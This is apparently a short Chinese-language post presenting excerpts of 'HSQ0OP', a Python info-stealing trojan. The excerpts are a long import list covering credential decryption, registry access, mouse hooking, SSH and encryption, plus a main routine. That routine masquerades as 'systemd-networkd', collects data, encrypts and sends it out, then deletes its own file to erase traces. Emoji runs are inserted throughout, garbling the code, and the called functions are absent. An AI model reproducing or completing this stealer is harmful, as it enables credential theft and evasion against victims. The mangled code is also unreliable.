HSQ0OP窃密木马来袭

# HSQ0OP Version:5.0 Advanced stealing tools.
# MAKE BY:alpha
import os
import platform
import socket🧑‍🍳‏👓🪣🤪👍
import uuid
import requests
import json
import re
import subprocess

👀🌡🍭🆎🦌‍

import time
import hashlib
import base64
import sqlite3
from datetime import datetime👵‌🛍📡🤬🤙
import sys
import ctypes
import math
import resource
from itertools import cycle

👨‍🚒‏🎒🦯💀👃

from glob import glob
import paramiko
import win32con
import winreg
import zlib

👨🦱‏👖🎷😫🤛

import random
import string
import threading
from cryptography.fernet import Fernet
from Crypto.Cipher import AES🧓‌🧢📟☠👃
from Crypto.Util.Padding import pad, unpad
from win32gui import FindWindow, ShowWindow
from time import perf_counter
from pynput import mouse
from ctypes import windll, Structure, c_ulong, c_wchar_p, byref

👩‍🎒📐😀✋

from datetime import datetime
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
import win32api
try:

‌🧣🧹😷👂

    import win32crypt
except:
    pass

这些模块就非常高级

🧑‍💻‎🩴💾😒👌

if __name__ == '__main__':
    if 'SERVICE_NAME' not in os.environ:
        os.environ['SERVICE_NAME'] = 'systemd-networkd'
🧑‍🌾‎🛍📬😃🙌
    collected_data = collect_all()

    encrypted_payload = get_encrypted_payload(collected_data)
    send_success = send_encrypted(encrypted_payload)
🧑‍🍳‍🥼🛋😭🤟
    if send_success:
        if '__file__' in globals():
            try:
                os.remove(__file__)
            except:

👂🚠🍭🦋‌

                pass
最后的清除痕迹